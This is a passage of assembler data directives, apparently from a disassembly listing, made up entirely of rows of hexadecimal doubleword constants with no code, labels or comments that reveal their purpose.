		dd 0AA0145CEh, 7FD47E2Bh, 21A0CDF4h, 487406BAh,	598A6ED3h
		dd 88125A00h, 95921E15h, 0C46D0314h, 0D3DDEB79h, 62DA740Fh
		dd 851583AAh, 7EC9E0F3h, 98F0F8B4h, 0F85A7D6Dh,	3D80184Dh
		dd 1E311883h, 0F6BD6E1Eh, 0E9749D81h, 0CCE06C88h, 964B00B3h
		dd 1532DD6h, 5674C468h,	208B5430h, 4BAAA9h, 0F2430488h
		dd 74C0C8A3h, 40ECAC30h, 1A1BAB6h, 0FFEE4556h, 9923AB21h
		dd 4BA0B920h, 8F7818B1h, 5000CB7Bh, 7D8CE8ECh, 77E6F846h
		dd 0B7011EA0h, 217BD8A5h, 7D0684FAh, 0BC05C678h, 0CF6506B0h
		dd 0F8CAD08Eh, 101C4100h, 0D4B4FFA8h, 0F094000Ch, 24207163h
		dd 800793EFh, 0AF96B234h, 5D531680h, 784800FBh,	739911A0h
		dd 6F00E538h, 0A2E9B02Bh, 143EF47h, 0FFDC805Fh,	7011C8E6h
		dd 4D002411h, 36CA2ED6h, 0B8EF42h, 7408F25Dh, 0E8DCC0DEh
		dd 25BD7500h, 0B3447DAFh, 3B67081h, 16A92CACh, 15D2B477h
		dd 0C1DF049Dh
		dd 80B21C17h, 709A9D11h, 3D6A84h, 6231AE29h, 0E0B191F7h
		dd 19B5F80Ch, 1134183Fh, 10EC95ADh, 1F001E61h, 0B4766268h
		dd 8C09F4Bh, 45F8D2B3h,	0B720CC18h, 0F101EE79h,	0E8C02D9Ch
		dd 85D87417h, 1C4E03CBh, 97A5C65Bh, 0D1838h, 2A139EBBh
		dd 91275Eh, 0AE6675A9h,	0E19D325h, 50C3B431h, 3CF37B9Ch
		dd 0EC3BEDC0h, 36609D01h, 50652CD3h, 19370240h,	0B100EDF4h
		dd 0AA2EB6D0h, 4C5015h,	41ABD627h, 9FD29984h, 0C065BB30h
		dd 0CFD315CBh, 0B9009BB8h, 3E8A5145h, 0EE00B67Dh, 0CD561E38h
		dd 2AE6D825h, 3090A355h, 85F8D364h, 0D5415E0Eh,	3A177FCh
		dd 0E787BD35h, 0BFA315B6h, 578838E3h, 0B11FD437h, 0FB0F697Dh
		dd 0DB89807Bh, 165E3A4h, 9EB4D078h, 0F1B5246Fh,	69FBF03Ch
		dd 0F3018F02h, 0A0BA8752h, 0DB644DACh, 0AA242A67h, 196C38E8h
		dd 0E086658Fh, 88525745h, 0F670CBACh, 0C05C3A30h, 60B9CC42h
		dd 0E7538078h, 240A6528h, 985D34A4h, 0EAC348B1h, 855476D0h
		dd 3DC8A610h, 6A888383h, 0E5180054h, 4C625056h,	0F51F3C33h
		dd 21401A68h, 83C295BBh, 703000AAh, 0B8352CB9h,	19F84DE4h
		dd 17EB0701h, 1565AF53h, 2E32FC40h, 827429h, 2A26D435h
		dd 0D4CD2D0h, 80FC573Ah, 47BDE0B3h, 0F8D55DB1h,	383D2BA3h
		dd 5ECE887Ch, 1558D494h, 19CB901h, 330EF375h, 0AAF634E6h
		dd 7D087480h, 0FF5A0218h, 684473B5h, 42A9603h, 0C76EE42Ch
		dd 72C9A931h, 3B87B080h, 29C0F19Eh, 46F9EC0Ch, 2C1871h
		dd 77A4CC91h, 8566EF15h, 0B7F3A30Ch, 0C86A833h,	1C692ABBh
		dd 30AB871h, 989C65AEh,	74227B12h, 0A2404488h, 22F43C90h
		dd 850E5B36h, 523A1C6Eh, 14867001h, 69804C09h, 8A81249Eh
		dd 0BE194939h, 16E0B9A4h, 761DFC41h, 2025420h, 0A064C2FBh
		dd 34B05574h, 1865EF2h,	6365D9ADh, 924B525Ah, 0CC016629h
		dd 575EE20Ah, 5041ECF8h, 31DC062h, 0C261E67Dh, 0CCA8D729h
		dd 7005837h, 0BB308250h, 60391FA6h, 2A6CB810h, 5E00E1EEh
		dd 58A21DBFh, 59601Ch, 0B815E078h, 0B68ADC02h, 0F6A488A8h
		dd 5A770D00h, 0E9E4A885h, 91176A58h, 800515D4h,	0AD00A452h
		dd 0ACC41DE1h, 49E1E6B8h, 1B83E0C4h, 0ECDCD307h, 0E7449FFAh
		dd 0AF505087h, 3280FE5h, 4C22DF2Ah, 0B91FB06Ch,	6B248E13h
		dd 95818824h, 9AA8A340h, 0F700B6D5h, 63186CBFh,	3481F852h
		dd 193C7164h, 0A8138903h, 919BD133h, 0B700F448h, 0BED0BFF6h
		dd 5D67033Fh, 0A6A033D1h, 0F8132AC5h, 99B01537h, 0F701E409h
		dd 40966247h, 551888C4h, 0E8F518B4h, 0B7609895h, 75351E68h
		dd 26D10093h, 7CF754E5h, 9E008A0Eh, 0D7BD1936h,	499D5874h
		dd 94449CF1h, 4F440095h, 3B4398D0h, 0D6008A53h,	0F68834C5h
		dd 0CFB06203h, 0C2602AB0h, 0ECACD094h, 687DA812h, 0E27C1805h
		dd 9ECADC07h, 8CAA80AEh, 26BCAD1Bh, 0EB8EDC0h, 228450A5h
		dd 52200057h, 0DFE5EEE7h, 0F9CAC718h, 0E079C2AFh, 2712E898h
		dd 397F4600h, 0A086021Eh, 780B3076h, 0F16070F9h, 0BB5F5C14h
		dd 12BC8EFCh, 0CFE6F847h, 0A08A1253h, 18CF97Ch,	6F79AC3Fh
		dd 2172E1F7h, 0B4B4208Bh, 82034300h, 0CFA3FB07h, 74981206h
		dd 0B7BA0AF3h, 7DE660B0h, 130A2928h, 0B8CDD373h, 0F324F0Fh
		dd 6C10026h, 0E0B064E8h, 0BB232CE7h, 80E647D0h,	0B11CEAA7h
		dd 1D45059h, 3F12F8CAh,	0B040327Fh, 96AB47h, 0B7333690h
		dd 1170A176h, 50E99EE9h, 24D63401h, 1C20FD4Ch, 0E643187Ch
		dd 76890C2h, 0D0A9D028h, 5A603C3Eh, 1D7311E8h, 0C2FBACD2h
		dd 5134AF0Fh, 79A58CA2h, 3D2D84C0h, 2E810D5h, 0AE2EE6CDh
		dd 61480A4h, 32375586h,	293065B8h, 6DB0B420h, 1D490060h
		dd 790DD9A5h, 0C501CB37h, 0CDD04651h, 0C6D1A63Fh, 971F5D0h
		dd 0DF06331Ah, 0B44C0C00h, 0C40E8B8Ch, 809566A3h, 0D203B094h
		dd 0E830E835h, 765000A7h, 0AB1C6C8Dh, 0DB144CE3h, 0FA7363h
		dd 162BF92Eh, 4C4EAD62h, 0CCA1E0B6h, 80C804E5h,	0F84D4CF8h
		dd 0D2DC0D81h, 2E2836B7h, 78509C16h, 34AE8271h,	11384851h
		dd 4E121664h, 0E78C4437h, 0B8688838h, 0D149C9h,	857AA4A0h
		dd 0A8049876h, 0C418CDF0h, 0C8937350h, 0B788EC20h, 0F643337h
		dd 69626128h, 49474428h, 67C429C8h, 0B180F152h,	0DBA93B25h
		dd 554CB63Fh, 12817340h, 50C8270Ch, 8199B099h, 52286C5Ch
		dd 7F014B6h, 0E33EEC90h, 19F732FAh, 47FC48CAh, 40970C5Ah
		dd 7C1EEF8Ch, 0B889B617h, 0C358C300h, 568303Eh,	5623D00Fh
		dd 0CD8834ECh, 3AC4FC00h, 8E916402h, 6AB7173Bh,	0F7446ACh
		dd 62EFF6F9h, 32828D6h,	191F7012h, 79113400h, 0AAFE3429h
		dd 5CEC40CCh, 7CD0B809h, 689C4CE7h, 237A8180h, 392A3CAEh
		dd 4C0BBCFAh, 806019D4h, 34ACC648h, 749245h, 7B073B50h
		dd 0B2530BE4h, 4112499h, 71F89E09h, 33B32420h, 2326EE4Fh
		dd 42E168C0h, 0A0F7E672h, 54A2D3B3h, 98F0BC06h,	4DBE4450h
		dd 4CEA58B0h, 6418B549h, 1CA4AD98h, 0A84E4D38h,	97E0C500h
		dd 0F7637BA5h, 8C0AB7F6h, 5C35A38Ah, 841315h, 72A4D506h
		dd 1F597D1Ch, 1F43A93Fh, 4EC0E4EFh, 48A03849h, 0F855B137h
		dd 16F01E48h, 0A4210F6Eh, 0B870BE34h, 50AE0ACFh, 36C2D56h
		dd 0AD5FEB1Ah, 8133D102h, 0C0F72422h, 52AA2627h, 0AE00BC93h
		dd 911B7A02h, 601B423h,	46FA7174h, 0BED27395h, 0BC2C4C18h
		dd 0BB647B00h, 9AC2938Bh, 0FBD7B50Eh, 79D684F6h, 0C1D0C892h
		dd 0A88860E0h, 2907F702h, 0EA4079BBh, 7C67E0h, 4F8B5F33h
		dd 9FE02CEh, 0D02C74A0h, 0A86C5726h, 4003780Ah,	0C3190D84h
		dd 4850F6C0h, 0FADA1737h, 82902856h, 0F8725B45h, 3465EB00h
		dd 35297757h, 8B50DC48h, 611B0127h, 0A5E039FBh,	344A73h
		dd 9EB63550h, 6D13B2E7h, 3000EE3Ch, 5E2BC213h, 0B96E0586h
		dd 951ABE20h, 48640C6Ch, 55014C89h, 0FAB075FBh,	5187AAF8h
		dd 0C31F76B9h, 0C3C0B73Bh, 973B357Fh, 58EFAC3Fh, 17912D00h
		dd 4B58BBECh, 156800EAh, 0C76C8CA8h, 1CCB38C5h,	972A2880h
		dd 0E424008Bh, 7BACBD68h, 590A5307h, 8BB03AEh, 1BAF8162h
		dd 0E77C0CD8h, 0ACC86C0Fh, 56B3808Bh, 48651ECAh, 3F007DB0h
		dd 739F1D0Ch, 88E0832Eh, 437F20A4h, 32A8001h, 0D13324D5h
		dd 507062D2h, 28B09Ch, 352C7B79h, 18B55AEEh, 1C021E4Ah
		dd 48B6F5ECh, 90CF64A8h, 13633E72h, 8FC5D26h, 1164BF86h
		dd 72407C2Ch, 8120B9ACh, 23A42E4Eh, 44E47016h, 1B00C0A4h
		dd 17AF39EFh, 26787FC2h, 89A8EEBBh, 20482628h, 88B87954h
		dd 8A865800h, 0EF1DE6BBh, 814B2433h, 0F0838110h, 0E41F71ACh
		dd 3E24EA63h, 870004ECh, 8AA9806Fh, 0E3A5056Eh,	81D07661h
		dd 8E8F3CE8h, 99B2BBF1h, 0B0600E49h, 949F510Fh,	9C3F89E4h
		dd 36803B3Ch, 215058FAh, 0F05E6BCh, 538D6228h, 0EF570820h
		dd 220F8423h, 69A427B7h, 1E0C2015h, 16ABAC5h, 7EA5FE40h
		dd 4E8C791Ah, 0BD587244h, 0C050A2D4h, 0E61253C8h, 831D00EBh
		dd 7B82C0E9h, 7066F4Ch,	38B24D41h, 360A338h, 0BA928739h
		dd 617CBDD3h, 6D3B611Ch, 0D06A10DFh, 0E11C7402h, 714CB81Dh
		dd 10F245C0h, 0CC43D4E0h, 6FB0652Bh, 0C7A42512h, 2A7E504h
		dd 0B0D079A4h, 0C440444Ah, 4C077A89h, 83ACD35Bh, 4DDE8FB1h
		dd 8C940848h, 6458CF24h, 0B0A87C28h, 1804E427h,	0E1020CB9h
		dd 0CDAAF480h, 35D090EFh, 0A01E1Ch, 3ACB538h, 370157B7h
		dd 0F465FB51h, 0E038C6A5h
		dd 612446A0h, 0F42C2A0Eh, 0DD413079h, 681CFC24h, 3B93104h
		dd 6A6CFD9Fh, 56BCEDE0h, 0C8C93600h, 3224131Eh,	0B9282EDDh
		dd 0B37307C0h, 5651536Dh, 2A7C22B8h, 70105E00h,	76F42F7Fh
		dd 0EF68C064h, 63B29DD7h, 1F92609Ch, 8C4CB071h,	0D4935703h
		dd 5432A04Eh, 6F844027h, 0FA4C9255h, 0E0304C24h, 5732AF3Eh
		dd 1049C018h, 6A17FCC3h, 80993627h, 0D60F52C4h,	4F6202E5h
		dd 0D9E1A6BDh, 55641C60h, 0A3358213h, 0AACC081h, 986B08CCh
		dd 148800E0h, 9C2E9147h, 90C07BEDh, 6F73B03Fh, 856E1FEFh
		dd 0BC9000E4h, 0BE3891DEh, 25AE7C0Fh, 0E9C902D8h, 86C0B853h
		dd 0E08B80A0h, 17C1F800h, 0CE92D55Dh, 7DE9003Fh, 27613160h
		dd 38CE4620h, 0A00A3216h, 914318D8h, 3028CD92h,	42A34036h
		dd 0FC8EDE12h, 577C040h, 1ACA903h, 657ECBF4h, 0DC53D64Ch
		dd 5D2A912Eh, 6601D077h, 0AE39E6D1h, 0A024A131h, 6F551BE0h
		dd 181078C4h, 1F841391h, 698F0BDDh, 0C731CC34h,	682C9831h
		dd 200755Ah, 58859241h,	0A04F00DBh, 9C9D29AEh, 0A8B6053Eh
		dd 0A4C183F5h, 21A2AA4h, 178CD5Ch, 5FBDE7D8h, 0DE241180h
		dd 5BA3F651h, 0F004E4B2h, 0B09FB352h, 39AF0880h, 0FC205081h
		dd 2D7B02E6h, 2752FAE9h, 0AAADA448h, 83BBE00Eh,	4CA00A0h
		dd 240D64B3h, 1F4C6F61h, 73A88681h, 941F3124h, 3C1D883h
		dd 3AD36769h, 960837EBh, 8A7B6070h, 780055D8h, 2E3D0D4Ch
		dd 169117E1h, 0C0FBDC51h, 1FC81570h, 9B4B740h, 5C38B313h
		dd 2B877583h, 46CF5AB3h, 743D21C4h, 736900A8h, 3A1150B5h
		dd 494400DCh, 0A9E4FECEh, 58C26721h, 0D07688E1h, 8B7F9020h
		dd 5838A830h, 0B292214Dh, 701EC591h, 0FBA480ACh, 0EB0BB59Ch
		dd 80AC174Ch, 11A6B95Fh, 87CCA38Dh, 68294Bh, 809F0305h
		dd 0E9BD0001h, 11BAF2D2h, 4614A20Ah, 3B8D6EDh, 5255769Bh
		dd 75512607h, 0E29C0004h, 98BF601Ah, 62081264h,	0C85E6890h
		dd 2F660164h, 0E54C4033h, 1146CF5h, 0E658B7F0h,	10A80419h
		dd 0A6C0064h, 0EA769EDBh, 7879E1F7h, 0D6001576h, 0AE06C4A8h
		dd 7433CCh, 0C52E5934h,	5E3FDF8h, 1B913D00h, 362335F9h
		dd 0F7CC004Dh, 3A6B2768h, 67003B5Ah, 8522A57Ch,	95D8BEh
		dd 8E6C1CCCh, 0F6230C61h, 0AFE05BE4h, 89DE650Fh, 307080FFh
		dd 0B894F9h, 0ECD01FE7h, 0BBF31AE6h, 0FA03CE1Dh, 20F73B0Ch
		dd 0D0140070h, 0FD59A90Bh, 400C919h, 0A4570EA8h, 0C007DA37h
		dd 0A5847B48h, 7700FA1Bh, 0D2E87E19h, 0EAE25918h, 5B2D0627h
		dd 816CA137h, 15016F46h, 0AAE6E2D0h, 40AF0CFBh,	0D0F88EF8h
		dd 6621F200h, 81E7521Ah, 5F2500C3h, 3E8F096Ah, 0DE066F4Bh
		dd 0D8F8E6DCh, 0CF403018h, 0FE921798h, 216DD631h, 58060468h
		dd 0DB3720C6h, 0C12700C1h, 8971267Fh, 9300B7B9h, 0FD4C9867h
		dd 0C74BD004h, 8C343771h, 0EE005D30h, 23D49BE6h, 0E2C3544Eh
		dd 44150040h, 6F77E047h, 0BF005574h, 0FFFE3B48h, 28796D97h
		dd 0C80B9D4h, 47D3B395h, 0B600E8B8h, 0DAEE5429h, 3E8D7C91h
		dd 33E1787h, 0C3397E82h, 486043D8h, 0B00A23Eh, 6D5C423Ch
		dd 0E8247Ah, 2FDBFFB2h,	2299BDB9h, 7C167100h, 0A9272FEh
		dd 0B85B0FEFh, 14802D06h, 0F425F8E3h, 0A82BCF00h, 572C8496h
		dd 0AC0906FDh, 28F0ED30h, 0BE8D8F24h, 66451830h, 4C047C4Ah
		dd 23308851h, 0EEA59E48h, 0E509930Fh, 0C878AFEh, 0E3E60F02h
		dd 0D234007Ah, 8107C155h, 8E4BFDA7h, 251853E1h,	57910F8h
		dd 37406D32h, 0FF8E8121h, 7A9880E0h, 7388B96Ah,	621E0754h
		dd 0E0448AC1h, 0A7012A5Bh, 1B396003h, 0E0597A67h, 2240C5B0h
		dd 0A23925A6h, 24F70093h, 0AD9A91BCh, 0B8DE0230h, 0C04C3D98h
		dd 88149080h, 0D7741544h, 0C449EE00h, 819E5C75h, 0B82C7D65h
		dd 342D1857h, 21045A02h, 783AA500h, 83DED5C7h, 0D1930E42h
		dd 0D8805E6Bh, 0EE6CE20Bh, 4A238D00h, 5AD82E3h,	2C6400C5h
		dd 0AA75D1FCh, 3C19D88Bh, 1629650Dh, 7F44BD08h,	38AB4429h
		dd 0EA0228A0h, 8B7B1888h, 0D4FE20E4h, 0E08E80F4h, 38C8580h
		dd 2DC4FC0h, 0DFB8A949h, 9A002AF7h, 0B1454CE9h,	4858F39Dh
		dd 92006943h, 0C9C6EA8Ah, 2F003FDCh, 2BCBFF6Dh,	5C6E84h
		dd 7A76E7DFh, 0B0286ABEh, 191BD800h, 81186322h,	6F06002Fh
		dd 0EA9D24A8h, 2703FD40h, 0B408C761h, 0B9FFD1FBh, 0E16570h
		dd 21210D5h, 0DC231FD2h, 3BE97116h, 15CC4C00h, 166A4AACh
		dd 26576Fh, 1DEC1F62h, 0B27EB914h, 34000776h, 4E6A2847h
		dd 5893F844h, 0C6000671h, 0D8F59430h, 48057383h, 0CDE195A9h
		dd 0F456FEC0h, 0A6221A87h, 0F36010CAh, 3400B8B9h, 0CFE695AFh
		dd 7F31EA1h, 440866F5h,	70FD828Bh, 14688640h, 78464B0Ch
		dd 13431072h, 0D8CDB0h,	0E81D3227h, 0F2014991h,	0CA0C9059h
		dd 0FDF9A2C7h, 18B9888Ah, 0F33A8090h, 0DF173801h, 295B6500h
		dd 8254C6B0h, 0A987010Bh, 80E3F43h, 0BF02801Ah,	0DDEFB75Dh
		dd 519D3D89h, 4F39D980h, 47226E92h, 0C8858D30h,	0CCDFF9h
		dd 0B9FCDAA9h, 0A3020DF1h, 0F64B401h, 847C2127h, 0B1289Fh
		dd 0DCCC7456h, 7200440Bh, 0EF9C4B25h, 3C99766Bh, 233A7E90h
		dd 3B70B580h, 1BCD2AB9h, 0BC0CA0C7h, 0A409820h,	0C2D500E2h
		dd 2B3579E6h, 9C003C72h, 0EF3AC120h, 0A814A2h, 0C558BE1h
		dd 0FA7DFDF2h, 0C3013E7Fh, 39236948h, 0A1CC59A6h, 0C7E8Ch
		dd 0BC9FC926h, 20E8CCA2h, 69482BF4h, 98AF005Ah,	50AC8006h
		dd 0EF3F280Ah, 531107ECh, 0C081D7A3h, 60C60D3h,	3E01CAF0h
		dd 1864CC05h, 1AD9D8A0h, 0E524B0DFh, 0E8AE98C5h, 27E100C9h
		dd 5374F0CEh, 8D38D842h, 9A9B80A8h, 0D7F3AF21h,	6732014Ch
		dd 1A55BBE5h, 0FB6420AEh, 0FFD82F00h, 0F58C6E1Ch, 0D446589Ch
		dd 0F7AF7D00h, 0C65F9DC5h, 79235800h, 0A1E59887h, 0A41A1E59h
		dd 2EB5C07Ah, 57969DF1h, 44FA9301h, 0C313B67Dh,	6F2EAC47h
		dd 0C08380DDh, 24E73B87h, 3D85DA6h, 0BD460C8h, 0A2B986A8h
		dd 3303EB06h, 7C38B74Dh, 9C110022h, 0F7AE2F7Ah,	18C0C8F1h
		dd 2EB6F642h, 0D59338A3h, 0CF07C13Dh, 0F0E76073h, 15F72B36h
		dd 0F63D3000h, 799E2883h, 0CED81D24h, 77F00075h, 0CAB2B3EDh
		dd 0B4926733h, 873BF342h, 0D75F95D0h, 476E0001h, 0D9BC307Eh
		dd 9D00C604h, 0D0B9F035h, 1DB48Fh, 58BBB5DFh, 46D23220h
		dd 0E03ACC00h, 69F185C3h, 3AAD79AAh, 28008BEFh,	0AE510D8Fh
		dd 1E98F818h, 0A6780F00h, 44D609C1h, 83E02422h,	500E0B1Dh
		dd 0AB004956h, 26F064F6h, 0BA9C0043h, 0EAFD95E7h, 5300C72Ch
		dd 16938E71h, 0B0430C02h, 95B13A86h, 410E0387h,	0FFF0826Bh
		dd 90C4ABC0h, 6771100h,	6481CEC8h, 6CE000F4h, 0F140B687h
		dd 940060DAh, 1DE1429Dh, 1C685BDh, 4E325503h, 0C4CB06E7h
		dd 4200EB97h, 8DE1936Fh, 3DE57EAh, 0D9B83DBEh, 0ACB8AE22h
		dd 8C4C95FCh, 90E382Ch,	80A86BFAh, 9EF5D368h, 28834CDDh
		dd 0C6835F3Fh, 28B21570h, 0B0C8C1ECh, 26DB20E4h, 0D7794A00h
		dd 58C48405h, 9F2F0077h, 0E2521110h, 5700D194h,	0DDFB0B7Bh
		dd 3A6AE98h, 0D888E301h, 30AFAA76h, 81A009BFh, 0B946BA01h
		dd 625F8390h, 8929E8h, 42F36D82h, 0C8A15E14h, 802A383Ah
		dd 8B313FB0h, 0A90265h,	0F75A83F0h, 0E9EFFB4Ch,	0C4A75900h
		dd 75CCBA2Ah, 87880082h, 8C277AE4h, 3B18B297h, 0B11C1E6h
		dd 6DF502ECh, 0D38D63F4h, 42BDA440h, 7B0C5000h,	0B144DBD4h
		dd 3F640018h, 69C5B8EAh
		dd 0A0031F06h, 15BE9688h, 24A5D808h, 32400084h,	236A6697h
		dd 8300A0C1h, 0C4ED11BDh, 4A73A4h, 3F4BA251h, 18C808ABh
		dd 13A3753Bh, 0C400F76Bh, 0E6664D2Dh, 0EC747319h, 0FE770167h
		dd 563E2A8Ah, 40ADCC9Eh, 5C00F090h, 0FD198632h,	97CDB9h
		dd 45439ACFh, 0E88EA382h, 1048ED05h, 0EC00E7E1h, 0CEF8A0C7h
		dd 91EEBBh, 0A9377B59h,	0E22C624Dh, 176B9C0Eh, 6730CE43h
		dd 0E3603EA5h, 60FCD59Ah, 47AE34EFh, 5107F54Fh,	0A6538F91h
		dd 0CD978B40h, 89CC0738h, 33E76ADEh, 0FAF83145h, 0E5B84172h
		dd 9181B600h, 834349A7h, 48C51D24h, 8704006h, 4E525E61h
		dd 0A20CD800h, 0FA7FD146h, 5986001Eh, 0DEC8760h, 6AE2D4EAh
		dd 6840FC01h, 94D3A013h, 3B87D20h, 0C65C9B4Dh, 709F15FFh
		dd 37428C31h, 383AE307h, 0DA749C2h, 883BEA93h, 2154F9h
		dd 0D1312608h, 13643524h, 806CCE3Ah, 0A939A5Fh,	0F6EDA2h
		dd 0CC8B88E4h, 797B026Bh, 24F28E2Eh, 0E700763Eh, 0B0AC214Bh
		dd 7498CBh, 0F3B9F471h,	13A7396Fh, 0BD00F77Ch, 7DA87099h
		dd 24C9A209h, 8C7C2Bh, 0C915E56h, 0D13B6EEh, 98003B11h
		dd 0BD80C4A2h, 0B57A86h, 9E9BD1A8h, 683A60C5h, 84A31E00h
		dd 0C7573BE4h, 34C90ACh, 77EF8876h, 0CDD81155h,	0CA07A98Fh
		dd 0D383F40Dh, 0EF513480h, 0CF99005Bh, 0A53ADFC8h, 9E5C9C96h
		dd 804000Dh, 0FAD86821h, 0BE5E076Ch, 0B035AA82h, 0B09B1E3h
		dd 4283E21Dh, 0BA439E01h, 5ACCA86Ah, 592B0023h,	9C4953ECh
		dd 0DB00F7EBh, 80033367h, 0E696E137h, 1EE50065h, 3814213Ah
		dd 0FA008299h, 0A78E62CAh, 0C9AF57h, 8CB8978Dh,	0D8E878F6h
		dd 0A3A20600h, 0B7A1ADACh, 0B12C2477h, 8A8B0084h, 0A9EF8A8h
		dd 14914600h, 0E495A84h, 3BE00009h, 2F585678h, 9573DA66h
		dd 4C6D7B3Fh, 90E700D9h, 0EB647C61h, 948C00B0h,	4A6E807Fh
		dd 0A300DEBDh, 97CE93B8h, 5C63674Fh, 0D400940Eh, 0A1183E20h
		dd 200100Ch, 4F8898DBh,	6B4D58h, 0A7C4B333h, 70510BE1h
		dd 0C696BC00h, 995363E8h, 5FC70078h, 934CB349h,	25002180h
		dd 4E854B6Bh, 70C595h, 3561A6C4h, 539FF56Eh, 718AE300h
		dd 4E14A82Bh, 7D390ECh,	0C9F99BFCh, 0AEA1F034h,	0F100A2CAh
		dd 5388484Bh, 0F2390117h, 7B6E0FBEh, 6D605835h,	41DBA527h
		dd 8251C900h, 0E43B530Eh, 0F8D00DAh, 745DA35Eh,	25389545h
		dd 5AFE00E6h, 56DCC1D7h, 6B8600A1h, 0E7AF7B2Bh,	0F5053ECFh
		dd 825A8CA6h, 93EBBA07h, 2A468F90h, 0AE0D00F3h,	0C13A76CDh
		dd 0E6005EE7h, 9A6E22E8h, 35CB110h, 0A5EDFA56h,	2007C654h
		dd 2B58AA12h, 0E0B021E0h, 90695079h, 7896F0E2h,	0A52600BCh
		dd 76030CABh, 23008518h, 0D6F3F0F5h, 1DFD113Dh,	0C0AE8161h
		dd 0BC2FCE59h, 7CB0BFB5h, 7A4E5303h, 0B0F748A9h, 3B01B55h
		dd 0E6D931B7h, 100F3D62h, 6FC4B970h, 0DE009C25h, 9D03945Bh
		dd 9278C0B5h, 1B45F01Ah, 0A7E59100h, 0AB3670D3h, 0AF8800C2h
		dd 0EA025DCEh, 5E00D9C6h, 0B8A5A93Fh, 7D43F2h, 0C177FEC7h
		dd 0ED40EF6Ch, 0CB0F45F6h, 0A0BBE169h, 0EBE3886Bh, 31B00B8h
		dd 30FDAB2Ch, 94005E2Dh, 1CE9F0A1h, 173F570h, 436113C3h
		dd 0ECDAE5B8h, 0F00745Bh, 0A722F303h, 0F467BAh,	3A37BE41h
		dd 8B8634B5h, 3F0668E0h, 0BF17A61Ah, 0D17A00C8h, 7725AB41h
		dd 0C400EB63h, 9A368A94h, 3C81FFBh, 6480E7A8h, 0BFE06A37h
		dd 3060062Eh, 0CE888D44h, 6101012Bh, 0AFB31CC0h, 0D0813059h
		dd 8009090h, 61AFF44h, 3F625A9Bh, 72805C78h, 2A438050h
		dd 0BA3D3422h, 0CABD80FEh, 7663B5E3h, 0AD123BF8h, 60D7C009h
		dd 40AF3C00h, 6BE43C3Dh, 27BD39h, 945FE1C8h, 99CA28h, 4A14B90Ch
		dd 55DD4C45h, 0FAA0CB50h, 0C9F63900h, 0BA83C3EEh, 0F2E03Dh
		dd 0B95E1516h, 0AC0998DFh, 502EEC0Ah, 0F81CF81Ch, 7D81200h
		dd 0F31065Dh, 63FB34C1h, 8000884Fh, 0D5A5F32Eh,	0BD93C207h
		dd 18EFEEBh, 7DB48418h,	0B31E20h, 8ECACB19h, 0ACC2C135h
		dd 13A8DE60h, 0F024C03Dh, 9BC900FDh, 9F986C99h,	2C00F9B9h
		dd 0A412918Ah, 2E8BE159h, 1DE1D4C0h, 40D3C0BBh,	0EB8DD5FFh
		dd 0E8FD6300h, 1E1387C9h, 0E392007Fh, 77891F69h, 0B91840BCh
		dd 0A5C852F4h, 0C8BA380Ah, 0C7612580h, 0B7BE8644h, 0CC20B303h
		dd 0D43DD57Ch, 7A02B080h, 3C197089h, 5819998h, 79A3519Dh
		dd 4C0DC1Fh, 4C289763h,	3CDBB00Ch, 2BFC66h, 0FEA5836Ah
		dd 2CD7ECE8h, 0CCA3C900h, 0A145BD38h, 0F1AA00B0h, 0D98146B6h
		dd 0D3180FF7h, 8D19B52Eh, 7CAE02E0h, 0D8E96886h, 0B25B841h
		dd 115F4610h, 6287B4E2h, 0D036E4C9h, 8682D444h,	4A15F100h
		dd 0E19F2DFCh, 51550058h, 23537457h, 68002E7Fh,	113AA4BAh
		dd 0BED120h, 4745FD97h,	8BEC8AA7h, 6E93F230h, 0E364FAh
		dd 0F1B2C06Dh, 4A2899A4h, 411AD000h, 7E5AB5F9h,	969E018Fh
		dd 6F36B72Fh, 2A388117h, 0B269E8B1h, 0E6F8C4h, 4D89C23Ch
		dd 0B023228Eh, 0E0EC9F00h, 0CF1DDE49h, 288414D0h, 5600E8E7h
		dd 93AEB21Eh, 50002F8Eh, 3A9A64FFh, 0C307E2h, 7A4538B0h
		dd 0A81C0F5Bh, 3B2BBB00h, 2914993h, 1F27FEB8h, 80C55D51h
		dd 22D332E9h, 0E414D184h, 0E46A9Dh, 0AB13C2B4h,	29FC7BFh
		dd 0B0EDB11Ah, 0F2C090A6h, 0D300C53Eh, 0B8BD6DFEh, 0FE556B5h
		dd 62AB9B74h, 0E3E5040h, 0FA0026E0h, 31537A85h,	1FDCBAEBh
		dd 0C06209F3h, 0AD2E75F9h, 19015058h, 0A88C10D9h, 0E770244Fh
		dd 0E0A40067h, 5B945698h, 3C30E73Eh, 0A0585E16h, 8CC001Ch
		dd 0B2DE47ADh, 5F002B15h, 3A6BF1ACh, 0FE04F35h,	0F808C234h
		dd 51267A60h, 0EE0010F7h, 4EF272EFh, 0E6D867CFh, 3EE0141Ch
		dd 7380F49Fh, 6EA1DBC8h, 2C4F710Fh, 4E6CA74Bh, 60BCE0A2h
		dd 13C21114h, 0CC802Dh,	30D870DCh, 0EE008EC3h, 0BE55AEFDh
		dd 0F5A05BDh, 17E3A2C0h, 0D33ADE00h, 0A61D13F9h, 76016287h
		dd 88EEDD2Ch, 0E0FAC6D4h, 0B74A00CEh, 37F598E9h, 0A21E9F10h
		dd 2700D27Ch, 4857D4Fh,	6B8700AAh, 0FA7709C5h, 5200B574h
		dd 0E1A649B7h, 33905h, 0DCD534E6h, 0C1F62D89h, 714C0C75h
		dd 3B02058Dh, 0C884113Eh, 21600BC7h, 611A55h, 3075CFF6h
		dd 0BD265628h, 0A7A35300h, 1C299EC9h, 0A9F10065h, 46DDEDABh
		dd 0E9EED91Fh, 0DFC38E03h, 80F02A4Ch, 0B808EC79h, 0EE8F7366h
		dd 0E4564C4Ah, 7DAC49h,	0A768F0A2h, 7247F9F3h, 7F7E0FFCh
		dd 0FD71EBF6h, 36C020FFh, 8A166800h, 3B1B5EE2h,	59400019h
		dd 9BF12CFAh, 0CA3C4286h, 0E8F38393h, 0F884C380h, 0E05E6E13h
		dd 42DB00ABh, 682AA251h, 7003D2Dh, 0BF48B136h, 5C6A32A3h
		dd 2C009850h, 1C4720C0h, 15300E4Fh, 2F844029h, 69B800CFh
		dd 3AF8360Bh, 12009042h, 0FA9E20E8h, 12B9D7D3h,	82DF4Eh
		dd 0EDA568C0h, 0F90064ADh, 0D8A046E4h, 1098335h, 0C80DCCE0h
		dd 0E48F8CC1h, 0DC79DEF3h, 0ACF1E800h, 8005DA41h, 0BA4309EAh
		dd 9400D394h, 0F9978DBFh, 8C2EC700h, 25EB3F63h,	0CF1400D7h
